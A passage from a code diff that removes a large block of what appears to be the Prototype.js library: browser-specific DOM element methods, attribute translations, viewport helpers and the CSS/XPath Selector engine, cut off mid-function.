-        case 'left': case 'top': case 'right': case 'bottom':
-          if (proceed(element, 'position') === 'static') return null;
-        case 'height': case 'width':
-          // returns '0px' for hidden elements; we want it to return null
-          if (!Element.visible(element)) return null;
-
-          // returns the border-box dimensions rather than the content-box
-          // dimensions, so we subtract padding and borders from the value
-          var dim = parseInt(proceed(element, style), 10);
-
-          if (dim !== element['offset' + style.capitalize()])
-            return dim + 'px';
-
-          var properties;
-          if (style === 'height') {
-            properties = ['border-top-width', 'padding-top',
-             'padding-bottom', 'border-bottom-width'];
-          }
-          else {
-            properties = ['border-left-width', 'padding-left',
-             'padding-right', 'border-right-width'];
-          }
-          return properties.inject(dim, function(memo, property) {
-            var val = proceed(element, property);
-            return val === null ? memo : memo - parseInt(val, 10);
-          }) + 'px';
-        default: return proceed(element, style);
-      }
-    }
-  );
-
-  Element.Methods.readAttribute = Element.Methods.readAttribute.wrap(
-    function(proceed, element, attribute) {
-      if (attribute === 'title') return element.title;
-      return proceed(element, attribute);
-    }
-  );
-}
-
-else if (Prototype.Browser.IE) {
-  // IE doesn't report offsets correctly for static elements, so we change them
-  // to "relative" to get the values, then change them back.
-  Element.Methods.getOffsetParent = Element.Methods.getOffsetParent.wrap(
-    function(proceed, element) {
-      element = $(element);
-      // IE throws an error if element is not in document
-      try { element.offsetParent }
-      catch(e) { return $(document.body) }
-      var position = element.getStyle('position');
-      if (position !== 'static') return proceed(element);
-      element.setStyle({ position: 'relative' });
-      var value = proceed(element);
-      element.setStyle({ position: position });
-      return value;
-    }
-  );
-
-  $w('positionedOffset viewportOffset').each(function(method) {
-    Element.Methods[method] = Element.Methods[method].wrap(
-      function(proceed, element) {
-        element = $(element);
-        try { element.offsetParent }
-        catch(e) { return Element._returnOffset(0,0) }
-        var position = element.getStyle('position');
-        if (position !== 'static') return proceed(element);
-        // Trigger hasLayout on the offset parent so that IE6 reports
-        // accurate offsetTop and offsetLeft values for position: fixed.
-        var offsetParent = element.getOffsetParent();
-        if (offsetParent && offsetParent.getStyle('position') === 'fixed')
-          offsetParent.setStyle({ zoom: 1 });
-        element.setStyle({ position: 'relative' });
-        var value = proceed(element);
-        element.setStyle({ position: position });
-        return value;
-      }
-    );
-  });
-
-  Element.Methods.cumulativeOffset = Element.Methods.cumulativeOffset.wrap(
-    function(proceed, element) {
-      try { element.offsetParent }
-      catch(e) { return Element._returnOffset(0,0) }
-      return proceed(element);
-    }
-  );
-
-  Element.Methods.getStyle = function(element, style) {
-    element = $(element);
-    style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
-    var value = element.style[style];
-    if (!value && element.currentStyle) value = element.currentStyle[style];
-
-    if (style == 'opacity') {
-      if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
-        if (value[1]) return parseFloat(value[1]) / 100;
-      return 1.0;
-    }
-
-    if (value == 'auto') {
-      if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
-        return element['offset' + style.capitalize()] + 'px';
-      return null;
-    }
-    return value;
-  };
-
-  Element.Methods.setOpacity = function(element, value) {
-    function stripAlpha(filter){
-      return filter.replace(/alpha\([^\)]*\)/gi,'');
-    }
-    element = $(element);
-    var currentStyle = element.currentStyle;
-    if ((currentStyle && !currentStyle.hasLayout) ||
-      (!currentStyle && element.style.zoom == 'normal'))
-        element.style.zoom = 1;
-
-    var filter = element.getStyle('filter'), style = element.style;
-    if (value == 1 || value === '') {
-      (filter = stripAlpha(filter)) ?
-        style.filter = filter : style.removeAttribute('filter');
-      return element;
-    } else if (value < 0.00001) value = 0;
-    style.filter = stripAlpha(filter) +
-      'alpha(opacity=' + (value * 100) + ')';
-    return element;
-  };
-
-  Element._attributeTranslations = {
-    read: {
-      names: {
-        'class': 'className',
-        'for':   'htmlFor'
-      },
-      values: {
-        _getAttr: function(element, attribute) {
-          return element.getAttribute(attribute, 2);
-        },
-        _getAttrNode: function(element, attribute) {
-          var node = element.getAttributeNode(attribute);
-          return node ? node.value : "";
-        },
-        _getEv: function(element, attribute) {
-          attribute = element.getAttribute(attribute);
-          return attribute ? attribute.toString().slice(23, -2) : null;
-        },
-        _flag: function(element, attribute) {
-          return $(element).hasAttribute(attribute) ? attribute : null;
-        },
-        style: function(element) {
-          return element.style.cssText.toLowerCase();
-        },
-        title: function(element) {
-          return element.title;
-        }
-      }
-    }
-  };
-
-  Element._attributeTranslations.write = {
-    names: Object.extend({
-      cellpadding: 'cellPadding',
-      cellspacing: 'cellSpacing'
-    }, Element._attributeTranslations.read.names),
-    values: {
-      checked: function(element, value) {
-        element.checked = !!value;
-      },
-
-      style: function(element, value) {
-        element.style.cssText = value ? value : '';
-      }
-    }
-  };
-
-  Element._attributeTranslations.has = {};
-
-  $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
-      'encType maxLength readOnly longDesc frameBorder').each(function(attr) {
-    Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
-    Element._attributeTranslations.has[attr.toLowerCase()] = attr;
-  });
-
-  (function(v) {
-    Object.extend(v, {
-      href:        v._getAttr,
-      src:         v._getAttr,
-      type:        v._getAttr,
-      action:      v._getAttrNode,
-      disabled:    v._flag,
-      checked:     v._flag,
-      readonly:    v._flag,
-      multiple:    v._flag,
-      onload:      v._getEv,
-      onunload:    v._getEv,
-      onclick:     v._getEv,
-      ondblclick:  v._getEv,
-      onmousedown: v._getEv,
-      onmouseup:   v._getEv,
-      onmouseover: v._getEv,
-      onmousemove: v._getEv,
-      onmouseout:  v._getEv,
-      onfocus:     v._getEv,
-      onblur:      v._getEv,
-      onkeypress:  v._getEv,
-      onkeydown:   v._getEv,
-      onkeyup:     v._getEv,
-      onsubmit:    v._getEv,
-      onreset:     v._getEv,
-      onselect:    v._getEv,
-      onchange:    v._getEv
-    });
-  })(Element._attributeTranslations.read.values);
-}
-
-else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
-  Element.Methods.setOpacity = function(element, value) {
-    element = $(element);
-    element.style.opacity = (value == 1) ? 0.999999 :
-      (value === '') ? '' : (value < 0.00001) ? 0 : value;
-    return element;
-  };
-}
-
-else if (Prototype.Browser.WebKit) {
-  Element.Methods.setOpacity = function(element, value) {
-    element = $(element);
-    element.style.opacity = (value == 1 || value === '') ? '' :
-      (value < 0.00001) ? 0 : value;
-
-    if (value == 1)
-      if(element.tagName.toUpperCase() == 'IMG' && element.width) {
-        element.width++; element.width--;
-      } else try {
-        var n = document.createTextNode(' ');
-        element.appendChild(n);
-        element.removeChild(n);
-      } catch (e) { }
-
-    return element;
-  };
-
-  // Safari returns margins on body which is incorrect if the child is absolutely
-  // positioned.  For performance reasons, redefine Element#cumulativeOffset for
-  // KHTML/WebKit only.
-  Element.Methods.cumulativeOffset = function(element) {
-    var valueT = 0, valueL = 0;
-    do {
-      valueT += element.offsetTop  || 0;
-      valueL += element.offsetLeft || 0;
-      if (element.offsetParent == document.body)
-        if (Element.getStyle(element, 'position') == 'absolute') break;
-
-      element = element.offsetParent;
-    } while (element);
-
-    return Element._returnOffset(valueL, valueT);
-  };
-}
-
-if (Prototype.Browser.IE || Prototype.Browser.Opera) {
-  // IE and Opera are missing .innerHTML support for TABLE-related and SELECT elements
-  Element.Methods.update = function(element, content) {
-    element = $(element);
-
-    if (content && content.toElement) content = content.toElement();
-    if (Object.isElement(content)) return element.update().insert(content);
-
-    content = Object.toHTML(content);
-    var tagName = element.tagName.toUpperCase();
-
-    if (tagName in Element._insertionTranslations.tags) {
-      $A(element.childNodes).each(function(node) { element.removeChild(node) });
-      Element._getContentFromAnonymousElement(tagName, content.stripScripts())
-        .each(function(node) { element.appendChild(node) });
-    }
-    else element.innerHTML = content.stripScripts();
-
-    content.evalScripts.bind(content).defer();
-    return element;
-  };
-}
-
-if ('outerHTML' in document.createElement('div')) {
-  Element.Methods.replace = function(element, content) {
-    element = $(element);
-
-    if (content && content.toElement) content = content.toElement();
-    if (Object.isElement(content)) {
-      element.parentNode.replaceChild(content, element);
-      return element;
-    }
-
-    content = Object.toHTML(content);
-    var parent = element.parentNode, tagName = parent.tagName.toUpperCase();
-
-    if (Element._insertionTranslations.tags[tagName]) {
-      var nextSibling = element.next();
-      var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
-      parent.removeChild(element);
-      if (nextSibling)
-        fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
-      else
-        fragments.each(function(node) { parent.appendChild(node) });
-    }
-    else element.outerHTML = content.stripScripts();
-
-    content.evalScripts.bind(content).defer();
-    return element;
-  };
-}
-
-Element._returnOffset = function(l, t) {
-  var result = [l, t];
-  result.left = l;
-  result.top = t;
-  return result;
-};
-
-Element._getContentFromAnonymousElement = function(tagName, html) {
-  var div = new Element('div'), t = Element._insertionTranslations.tags[tagName];
-  if (t) {
-    div.innerHTML = t[0] + html + t[1];
-    t[2].times(function() { div = div.firstChild });
-  } else div.innerHTML = html;
-  return $A(div.childNodes);
-};
-
-Element._insertionTranslations = {
-  before: function(element, node) {
-    element.parentNode.insertBefore(node, element);
-  },
-  top: function(element, node) {
-    element.insertBefore(node, element.firstChild);
-  },
-  bottom: function(element, node) {
-    element.appendChild(node);
-  },
-  after: function(element, node) {
-    element.parentNode.insertBefore(node, element.nextSibling);
-  },
-  tags: {
-    TABLE:  ['<table>',                '</table>',                   1],
-    TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
-    TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
-    TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
-    SELECT: ['<select>',               '</select>',                  1]
-  }
-};
-
-(function() {
-  Object.extend(this.tags, {
-    THEAD: this.tags.TBODY,
-    TFOOT: this.tags.TBODY,
-    TH:    this.tags.TD
-  });
-}).call(Element._insertionTranslations);
-
-Element.Methods.Simulated = {
-  hasAttribute: function(element, attribute) {
-    attribute = Element._attributeTranslations.has[attribute] || attribute;
-    var node = $(element).getAttributeNode(attribute);
-    return !!(node && node.specified);
-  }
-};
-
-Element.Methods.ByTag = { };
-
-Object.extend(Element, Element.Methods);
-
-if (!Prototype.BrowserFeatures.ElementExtensions &&
-    document.createElement('div')['__proto__']) {
-  window.HTMLElement = { };
-  window.HTMLElement.prototype = document.createElement('div')['__proto__'];
-  Prototype.BrowserFeatures.ElementExtensions = true;
-}
-
-Element.extend = (function() {
-  if (Prototype.BrowserFeatures.SpecificElementExtensions)
-    return Prototype.K;
-
-  var Methods = { }, ByTag = Element.Methods.ByTag;
-
-  var extend = Object.extend(function(element) {
-    if (!element || element._extendedByPrototype ||
-        element.nodeType != 1 || element == window) return element;
-
-    var methods = Object.clone(Methods),
-      tagName = element.tagName.toUpperCase(), property, value;
-
-    // extend methods for specific tags
-    if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);
-
-    for (property in methods) {
-      value = methods[property];
-      if (Object.isFunction(value) && !(property in element))
-        element[property] = value.methodize();
-    }
-
-    element._extendedByPrototype = Prototype.emptyFunction;
-    return element;
-
-  }, {
-    refresh: function() {
-      // extend methods for all tags (Safari doesn't need this)
-      if (!Prototype.BrowserFeatures.ElementExtensions) {
-        Object.extend(Methods, Element.Methods);
-        Object.extend(Methods, Element.Methods.Simulated);
-      }
-    }
-  });
-
-  extend.refresh();
-  return extend;
-})();
-
-Element.hasAttribute = function(element, attribute) {
-  if (element.hasAttribute) return element.hasAttribute(attribute);
-  return Element.Methods.Simulated.hasAttribute(element, attribute);
-};
-
-Element.addMethods = function(methods) {
-  var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;
-
-  if (!methods) {
-    Object.extend(Form, Form.Methods);
-    Object.extend(Form.Element, Form.Element.Methods);
-    Object.extend(Element.Methods.ByTag, {
-      "FORM":     Object.clone(Form.Methods),
-      "INPUT":    Object.clone(Form.Element.Methods),
-      "SELECT":   Object.clone(Form.Element.Methods),
-      "TEXTAREA": Object.clone(Form.Element.Methods)
-    });
-  }
-
-  if (arguments.length == 2) {
-    var tagName = methods;
-    methods = arguments[1];
-  }
-
-  if (!tagName) Object.extend(Element.Methods, methods || { });
-  else {
-    if (Object.isArray(tagName)) tagName.each(extend);
-    else extend(tagName);
-  }
-
-  function extend(tagName) {
-    tagName = tagName.toUpperCase();
-    if (!Element.Methods.ByTag[tagName])
-      Element.Methods.ByTag[tagName] = { };
-    Object.extend(Element.Methods.ByTag[tagName], methods);
-  }
-
-  function copy(methods, destination, onlyIfAbsent) {
-    onlyIfAbsent = onlyIfAbsent || false;
-    for (var property in methods) {
-      var value = methods[property];
-      if (!Object.isFunction(value)) continue;
-      if (!onlyIfAbsent || !(property in destination))
-        destination[property] = value.methodize();
-    }
-  }
-
-  function findDOMClass(tagName) {
-    var klass;
-    var trans = {
-      "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
-      "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
-      "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
-      "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
-      "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
-      "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
-      "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
-      "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
-      "FrameSet", "IFRAME": "IFrame"
-    };
-    if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
-    if (window[klass]) return window[klass];
-    klass = 'HTML' + tagName + 'Element';
-    if (window[klass]) return window[klass];
-    klass = 'HTML' + tagName.capitalize() + 'Element';
-    if (window[klass]) return window[klass];
-
-    window[klass] = { };
-    window[klass].prototype = document.createElement(tagName)['__proto__'];
-    return window[klass];
-  }
-
-  if (F.ElementExtensions) {
-    copy(Element.Methods, HTMLElement.prototype);
-    copy(Element.Methods.Simulated, HTMLElement.prototype, true);
-  }
-
-  if (F.SpecificElementExtensions) {
-    for (var tag in Element.Methods.ByTag) {
-      var klass = findDOMClass(tag);
-      if (Object.isUndefined(klass)) continue;
-      copy(T[tag], klass.prototype);
-    }
-  }
-
-  Object.extend(Element, Element.Methods);
-  delete Element.ByTag;
-
-  if (Element.extend.refresh) Element.extend.refresh();
-  Element.cache = { };
-};
-
-document.viewport = {
-  getDimensions: function() {
-    var dimensions = { }, B = Prototype.Browser;
-    $w('width height').each(function(d) {
-      var D = d.capitalize();
-      if (B.WebKit && !document.evaluate) {
-        // Safari <3.0 needs self.innerWidth/Height
-        dimensions[d] = self['inner' + D];
-      } else if (B.Opera && parseFloat(window.opera.version()) < 9.5) {
-        // Opera <9.5 needs document.body.clientWidth/Height
-        dimensions[d] = document.body['client' + D]
-      } else {
-        dimensions[d] = document.documentElement['client' + D];
-      }
-    });
-    return dimensions;
-  },
-
-  getWidth: function() {
-    return this.getDimensions().width;
-  },
-
-  getHeight: function() {
-    return this.getDimensions().height;
-  },
-
-  getScrollOffsets: function() {
-    return Element._returnOffset(
-      window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
-      window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop);
-  }
-};
-/* Portions of the Selector class are derived from Jack Slocum's DomQuery,
- * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style
- * license.  Please see http://www.yui-ext.com/ for more information. */
-
-var Selector = Class.create({
-  initialize: function(expression) {
-    this.expression = expression.strip();
-
-    if (this.shouldUseSelectorsAPI()) {
-      this.mode = 'selectorsAPI';
-    } else if (this.shouldUseXPath()) {
-      this.mode = 'xpath';
-      this.compileXPathMatcher();
-    } else {
-      this.mode = "normal";
-      this.compileMatcher();
-    }
-
-  },
-
-  shouldUseXPath: function() {
-    if (!Prototype.BrowserFeatures.XPath) return false;
-
-    var e = this.expression;
-
-    // Safari 3 chokes on :*-of-type and :empty
-    if (Prototype.Browser.WebKit &&
-     (e.include("-of-type") || e.include(":empty")))
-      return false;
-
-    // XPath can't do namespaced attributes, nor can it read
-    // the "checked" property from DOM nodes
-    if ((/(\[[\w-]*?:|:checked)/).test(e))
-      return false;
-
-    return true;
-  },
-
-  shouldUseSelectorsAPI: function() {
-    if (!Prototype.BrowserFeatures.SelectorsAPI) return false;
-
-    if (!Selector._div) Selector._div = new Element('div');
-
-    // Make sure the browser treats the selector as valid. Test on an
-    // isolated element to minimize cost of this check.
-    try {
-      Selector._div.querySelector(this.expression);
-    } catch(e) {
-      return false;
-    }
-
-    return true;
-  },
-
-  compileMatcher: function() {
-    var e = this.expression, ps = Selector.patterns, h = Selector.handlers,
-        c = Selector.criteria, le, p, m;
-
-    if (Selector._cache[e]) {
-      this.matcher = Selector._cache[e];
-      return;
-    }
-
-    this.matcher = ["this.matcher = function(root) {",
-                    "var r = root, h = Selector.handlers, c = false, n;"];
-
-    while (e && le != e && (/\S/).test(e)) {
-      le = e;
-      for (var i in ps) {
-        p = ps[i];
-        if (m = e.match(p)) {
-          this.matcher.push(Object.isFunction(c[i]) ? c[i](m) :
-            new Template(c[i]).evaluate(m));
-          e = e.replace(m[0], '');
-          break;
-        }
-      }
-    }
-
-    this.matcher.push("return h.unique(n);\n}");
-    eval(this.matcher.join('\n'));
-    Selector._cache[this.expression] = this.matcher;
-  },
-
-  compileXPathMatcher: function() {
-    var e = this.expression, ps = Selector.patterns,
-        x = Selector.xpath, le, m;
-
-    if (Selector._cache[e]) {
-      this.xpath = Selector._cache[e]; return;
-    }
-
-    this.matcher = ['.//*'];
-    while (e && le != e && (/\S/).test(e)) {
-      le = e;
-      for (var i in ps) {
-        if (m = e.match(ps[i])) {
-          this.matcher.push(Object.isFunction(x[i]) ? x[i](m) :
-            new Template(x[i]).evaluate(m));
-          e = e.replace(m[0], '');
-          break;
-        }
-      }
-    }
-
-    this.xpath = this.matcher.join('');
-    Selector._cache[this.expression] = this.xpath;
-  },
-
-  findElements: function(root) {
-    root = root || document;
-    var e = this.expression, results;
-
-    switch (this.mode) {
-      case 'selectorsAPI':
-        // querySelectorAll queries document-wide, then filters to descendants
-        // of the context element. That's not what we want.
-        // Add an explicit context to the selector if necessary.
-        if (root !== document) {
-          var oldId = root.id, id = $(root).identify();
-          e = "#" + id + " " + e;
-        }
-
-        results = $A(root.querySelectorAll(e)).map(Element.extend);
-        root.id = oldId;
-
-        return results;
-      case 'xpath':
-        return document._getElementsByXPath(this.xpath, root);
-      default:
-       return this.matcher(root);
-    }
-  },
-
-  match: function(element) {
-    this.tokens = [];
-
-    var e = this.expression, ps = Selector.patterns, as = Selector.assertions;
-    var le, p, m;
-
-    while (e && le !== e && (/\S/).test(e)) {
-      le = e;
-      for (var i in ps) {
-        p = ps[i];
-        if (m = e.match(p)) {
-          // use the Selector.assertions methods unless the selector
-          // is too complex.
-          if (as[i]) {
-            this.tokens.push([i, Object.clone(m)]);
-            e = e.replace(m[0], '');
-          } else {
-            // reluctantly do a document-wide search
-            // and look for a match in the array
-            return this.findElements(document).include(element);
-          }
-        }
-      }
-    }
-
-    var match = true, name, matches;
-    for (var i = 0, token; token = this.tokens[i]; i++) {
-      name = token[0], matches = token[1];
-      if (!Selector.assertions[name](element, matches)) {
-        match = false; break;
-      }
-    }
-
-    return match;
-  },
-
-  toString: function() {
-    return this.expression;
-  },
-
-  inspect: function() {
-    return "#<Selector:" + this.expression.inspect() + ">";
-  }
-});
-
-Object.extend(Selector, {
-  _cache: { },
-
-  xpath: {
-    descendant:   "//*",
-    child:        "/*",
-    adjacent:     "/following-sibling::*[1]",
-    laterSibling: '/following-sibling::*',
-    tagName:      function(m) {
-      if (m[1] == '*') return '';
-      return "[local-name()='" + m[1].toLowerCase() +
-             "' or local-name()='" + m[1].toUpperCase() + "']";
-    },
-    className:    "[contains(concat(' ', @class, ' '), ' #{1} ')]",
-    id:           "[@id='#{1}']",
-    attrPresence: function(m) {
-      m[1] = m[1].toLowerCase();
-      return new Template("[@#{1}]").evaluate(m);
-    },
-    attr: function(m) {
-      m[1] = m[1].toLowerCase();
-      m[3] = m[5] || m[6];
-      return new Template(Selector.xpath.operators[m[2]]).evaluate(m);
-    },
-    pseudo: function(m) {
-      var h = Selector.xpath.pseudos[m[1]];
-      if (!h) return '';
-      if (Object.isFunction(h)) return h(m);
-      return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m);
-    },
-    operators: {
-      '=':  "[@#{1}='#{3}']",
-      '!=': "[@#{1}!='#{3}']",
-      '^=': "[starts-with(@#{1}, '#{3}')]",
-      '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']",
-      '*=': "[contains(@#{1}, '#{3}')]",
-      '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]",
-      '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]"
-    },
-    pseudos: {
-      'first-child': '[not(preceding-sibling::*)]',
-      'last-child':  '[not(following-sibling::*)]',
-      'only-child':  '[not(preceding-sibling::* or following-sibling::*)]',
-      'empty':       "[count(*) = 0 and (count(text()) = 0)]",
-      'checked':     "[@checked]",
-      'disabled':    "[(@disabled) and (@type!='hidden')]",
-      'enabled':     "[not(@disabled) and (@type!='hidden')]",
-      'not': function(m) {
-        var e = m[6], p = Selector.patterns,
-            x = Selector.xpath, le, v;
-
-        var exclusion = [];
-        while (e && le != e && (/\S/).test(e)) {
-          le = e;
-          for (var i in p) {
-            if (m = e.match(p[i])) {
-              v = Object.isFunction(x[i]) ? x[i](m) : new Template(x[i]).evaluate(m);
-              exclusion.push("(" + v.substring(1, v.length - 1) + ")");
-              e = e.replace(m[0], '');
-              break;
-            }
-          }
-        }
-        return "[not(" + exclusion.join(" and ") + ")]";
-      },
-      'nth-child':      function(m) {
-        return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m);
-      },
-      'nth-last-child': function(m) {
-        return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m);
-      },
-      'nth-of-type':    function(m) {
-        return Selector.xpath.pseudos.nth("position() ", m);
-      },
-      'nth-last-of-type': function(m) {
-        return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m);
-      },
-      'first-of-type':  function(m) {
-        m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m);
-      },
-      'last-of-type':   function(m) {
-        m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m);
-      },
-      'only-of-type':   function(m) {
-        var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m);
-      },
-      nth: function(fragment, m) {
-        var mm, formula = m[6], predicate;
-        if (formula == 'even') formula = '2n+0';
-        if (formula == 'odd')  formula = '2n+1';
-        if (mm = formula.match(/^(\d+)$/)) // digit only
-          return '[' + fragment + "= " + mm[1] + ']';
-        if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
-          if (mm[1] == "-") mm[1] = -1;
-          var a = mm[1] ? Number(mm[1]) : 1;
-          var b = mm[2] ? Number(mm[2]) : 0;
-          predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " +
-          "((#{fragment} - #{b}) div #{a} >= 0)]";
-          return new Template(predicate).evaluate({
-            fragment: fragment, a: a, b: b });
-        }
-      }
-    }
-  },
-
-  criteria: {
-    tagName:      'n = h.tagName(n, r, "#{1}", c);      c = false;',
-    className:    'n = h.className(n, r, "#{1}", c);    c = false;',
-    id:           'n = h.id(n, r, "#{1}", c);           c = false;',
-    attrPresence: 'n = h.attrPresence(n, r, "#{1}", c); c = false;',
-    attr: function(m) {
-      m[3] = (m[5] || m[6]);
-      return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}", c); c = false;').evaluate(m);
-    },
-    pseudo: function(m) {
-      if (m[6]) m[6] = m[6].replace(/"/g, '\\"');
-      return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m);
-    },
-    descendant:   'c = "descendant";',
-    child:        'c = "child";',
-    adjacent:     'c = "adjacent";',
-    laterSibling: 'c = "laterSibling";'
-  },
-
-  patterns: {
-    // combinators must be listed first
-    // (and descendant needs to be last combinator)
-    laterSibling: /^\s*~\s*/,
-    child:        /^\s*>\s*/,
-    adjacent:     /^\s*\+\s*/,
-    descendant:   /^\s/,
-
-    // selectors follow
-    tagName:      /^\s*(\*|[\w\-]+)(\b|$)?/,
-    id:           /^#([\w\-\*]+)(\b|$)/,
-    className:    /^\.([\w\-\*]+)(\b|$)/,
-    pseudo:
-/^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|(?=\s|[:+~>]))/,
-    attrPresence: /^\[((?:[\w]+:)?[\w]+)\]/,
-    attr:         /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\4]*?)\4|([^'"][^\]]*?)))?\]/
-  },
-
-  // for Selector.match and Element#match
-  assertions: {
-    tagName: function(element, matches) {
-      return matches[1].toUpperCase() == element.tagName.toUpperCase();
-    },
-
-    className: function(element, matches) {
-      return Element.hasClassName(element, matches[1]);
-    },
-
-    id: function(element, matches) {
-      return element.id === matches[1];
-    },
-
-    attrPresence: function(element, matches) {
-      return Element.hasAttribute(element, matches[1]);
-    },
-
-    attr: function(element, matches) {
-      var nodeValue = Element.readAttribute(element, matches[1]);
-      return nodeValue && Selector.operators[matches[2]](nodeValue, matches[5] || matches[6]);
-    }
-  },
-
-  handlers: {
-    // UTILITY FUNCTIONS
-    // joins two collections
-    concat: function(a, b) {
-      for (var i = 0, node; node = b[i]; i++)
-        a.push(node);
-      return a;
-    },
-
-    // marks an array of nodes for counting
-    mark: function(nodes) {
-      var _true = Prototype.emptyFunction;
-      for (var i = 0, node; node = nodes[i]; i++)
-        node._countedByPrototype = _true;
-      return nodes;
-    },
-
-    unmark: function(nodes) {
-      for (var i = 0, node; node = nodes[i]; i++)
-        node._countedByPrototype = undefined;
-      return nodes;
-    },
-
-    // mark each child node with its position (for nth calls)
-    // "ofType" flag indicates whether we're indexing for nth-of-type
-    // rather than nth-child
-    index: function(parentNode, reverse, ofType) {
-      parentNode._countedByPrototype = Prototype.emptyFunction;
-      if (reverse) {
-        for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) {
-          var node = nodes[i];
-          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
-        }
-      } else {
-        for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++)
-          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
-      }
-    },
-
-    // filters out duplicates and extends all nodes
-    unique: function(nodes) {
-      if (nodes.length == 0) return nodes;
-      var results = [], n;
-      for (var i = 0, l = nodes.length; i < l; i++)
-        if (!(n = nodes[i])._countedByPrototype) {
-          n._countedByPrototype = Prototype.emptyFunction;
-          results.push(Element.extend(n));
-        }
-      return Selector.handlers.unmark(results);
-    },
-
-    // COMBINATOR FUNCTIONS
-    descendant: function(nodes) {
-      var h = Selector.handlers;
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        h.concat(results, node.getElementsByTagName('*'));
-      return results;
-    },
-
-    child: function(nodes) {
-      var h = Selector.handlers;
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        for (var j = 0, child; child = node.childNodes[j]; j++)
-          if (child.nodeType == 1 && child.tagName != '!') results.push(child);
-      }
-      return results;
-    },
-
-    adjacent: function(nodes) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        var next = this.nextElementSibling(node);
-        if (next) results.push(next);
-      }
-      return results;
-    },
-
-    laterSibling: function(nodes) {
-      var h = Selector.handlers;
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        h.concat(results, Element.nextSiblings(node));
-      return results;
-    },
-
-    nextElementSibling: function(node) {
-      while (node = node.nextSibling)
-        if (node.nodeType == 1) return node;
-      return null;
-    },
-
-    previousElementSibling: function(node) {
-      while (node = node.previousSibling)
-        if (node.nodeType == 1) return node;
-      return null;
-    },
-
-    // TOKEN FUNCTIONS
-    tagName: function(nodes, root, tagName, combinator) {
-      var uTagName = tagName.toUpperCase();
-      var results = [], h = Selector.handlers;
-      if (nodes) {
-        if (combinator) {
-          // fastlane for ordinary descendant combinators
-          if (combinator == "descendant") {
-            for (var i = 0, node; node = nodes[i]; i++)
-              h.concat(results, node.getElementsByTagName(tagName));
-            return results;
-          } else nodes = this[combinator](nodes);
-          if (tagName == "*") return nodes;
-        }
-        for (var i = 0, node; node = nodes[i]; i++)
-          if (node.tagName.toUpperCase() === uTagName) results.push(node);
-        return results;
-      } else return root.getElementsByTagName(tagName);
-    },
-
-    id: function(nodes, root, id, combinator) {
-      var targetNode = $(id), h = Selector.handlers;
-      if (!targetNode) return [];
-      if (!nodes && root == document) return [targetNode];
-      if (nodes) {
-        if (combinator) {
-          if (combinator == 'child') {
-            for (var i = 0, node; node = nodes[i]; i++)
-              if (targetNode.parentNode == node) return [targetNode];
-          } else if (combinator == 'descendant') {
-            for (var i = 0, node; node = nodes[i]; i++)
-              if (Element.descendantOf(targetNode, node)) return [targetNode];
-          } else if (combinator == 'adjacent') {
-            for (var i = 0, node; node = nodes[i]; i++)
-              if (Selector.handlers.previousElementSibling(targetNode) == node)
-                return [targetNode];
-          } else nodes = h[combinator](nodes);
-        }
-        for (var i = 0, node; node = nodes[i]; i++)
-          if (node == targetNode) return [targetNode];
-        return [];
-      }
-      return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : [];
-    },
-
-    className: function(nodes, root, className, combinator) {
-      if (nodes && combinator) nodes = this[combinator](nodes);
-      return Selector.handlers.byClassName(nodes, root, className);
-    },
-
-    byClassName: function(nodes, root, className) {
